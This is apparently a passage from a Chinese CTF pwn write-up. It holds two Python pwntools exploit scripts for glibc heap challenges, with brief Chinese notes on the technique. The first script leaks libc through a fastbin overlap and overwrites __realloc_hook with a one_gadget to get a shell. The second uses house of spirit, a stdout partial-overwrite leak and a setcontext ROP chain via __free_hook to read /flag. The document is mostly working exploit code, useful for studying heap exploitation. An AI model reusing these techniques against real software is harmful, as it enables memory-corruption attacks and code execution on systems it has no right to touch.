edit(0, p64(heap+0x20) * 2 + p64(0) + p64(0x21) + b'\n')
add(0x18, b'\x00')  # 1
add(0x18, b'\x00')  # 2

add(0x60, b'\x00')  # 3
add(0x60, b'\x00')  # 4
add(0x10, b'\x00')  # 5
edit(1, p64(0) * 2 + p64(0x40) + b'\xe0')
free(3)
show(0)
libc.address = u64(io.recvline(keepends=False)[-6:].ljust(8, b'\x00')) - 0x3C4B78
success(f'leak libc: {hex(libc.address)}')

add(0x30, b'\x00')  # 3
add(0x60, b'\x00')  # 6
add(0x60, b'\x00')  # 7
free(7)
edit(4, p64(libc.sym['__realloc_hook'] - 0x1b) * 2 + b'\n')
add(0x60, b'\x00')  # 7
add(0x60, b'\x00' * 0xb + p64(one_gadgets()[1]) + p64(libc.sym['realloc'] + 0x10))   # 8

op(1)
io.sendlineafter(b'size?', n2b(0x10))
io.interactive()

calloc 不会从 tcache bin 中取, 只能打 fastbin. 漏洞是溢出, 可以覆盖到下一个 chunk 的 fd. 没 PIE, addr 和 size 在 bss 上, 可以在这伪造 fake chunk, 用 house of spirit 分配到这, 即可获得任意地址写.

没有打印函数. 先构造 free chunk into unsorted bin, 同时 0x70 的堆重叠, 利用 partial overwrite 撞 chunk at stdout nearby, 去 leak libc.

接下来在 bss 上布置 context frame 和 rop 链, 写 free hook 去 orw.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
    return str(x).encode()

def op(x):
    io.sendlineafter(b'>> ', n2b(x))

def alloc(idx, size):
    op(1)
    io.sendlineafter(b'>> ', n2b(idx))
    io.sendlineafter(b'>> ', n2b(size))

def edit(idx, content):
    op(2)
    io.sendlineafter(b'>> ', n2b(idx))
    io.sendlineafter(b'>> ', content)

def delete(idx):
    op(3)
    io.sendlineafter(b'>> ', n2b(idx))

io.sendlineafter(b'input your name: ', b'/flag')

bss_fake_chunk = 0x00404060

for i in range(7):
    alloc(0, 0x40)
    alloc(1, 0x60)
    alloc(2, 0xc0)
    delete(0)
    delete(1)
    delete(2)
alloc(0, 0x41)

alloc(1, 0x18)
alloc(2, 0x40)
delete(2)
edit(1, p64(0) * 3 + p64(0x51) + p32(bss_fake_chunk))
alloc(2, 0x40)
alloc(4, 0x40)

alloc(0, 0x10)
alloc(1, 0x50)
alloc(2, 0x60)
edit(0, p64(0) * 3 + p32(0xd1))
alloc(0, 0x10)
delete(2)
delete(1)
alloc(1, 0x50)
edit(4, b'\xf0')
edit(1, p64(0) + p64(0x71) + b'\x5d\x96')
alloc(0, 0x60)
alloc(0, 0x60)
edit(0, b'\x00' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + b'\x00')
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1EB980
success(f'leak libc: {hex(libc.address)}')

rop_buf = 0x404100
buf = 0x404200
frame_buf = 0x404300
flag = frame_buf
ret = 0x00401b24
pop_rdi_ret = 0x00401b23
pop_rsi_ret = libc.address + 0x027529
pop_rdx_r12_ret = libc.address + 0x11c371
rop = flat([
    p64(pop_rdi_ret), p64(flag),
    p64(pop_rsi_ret), p64(0),
    p64(libc.sym['open']),
    p64(pop_rdi_ret), p64(3),
    p64(pop_rsi_ret), p64(buf),
    p64(pop_rdx_r12_ret), p64(0x50), p64(0),
    p64(libc.sym['read']),
    p64(pop_rdi_ret), p64(1),
    p64(pop_rsi_ret), p64(buf),
    p64(pop_rdx_r12_ret), p64(0x50), p64(0),
    p64(libc.sym['write']),
])

edit(4, p64(rop_buf) + p64(0x100) + p64(frame_buf) + p64(0x100) + p64(libc.sym['__free_hook']) + p64(0x100))
edit(1, rop)

frame = flat([
    b'/flag'.ljust(0x20, b'\x00'),
    p64(libc.sym['setcontext'] + 0x3d)
]).ljust(0xa0, b'\x00')
frame += p64(rop_buf) + p64(ret)
edit(2, frame)

magic = libc.address + 0x154930
edit(3, p64(magic) + p64(frame_buf))
delete(3)

io.interactive()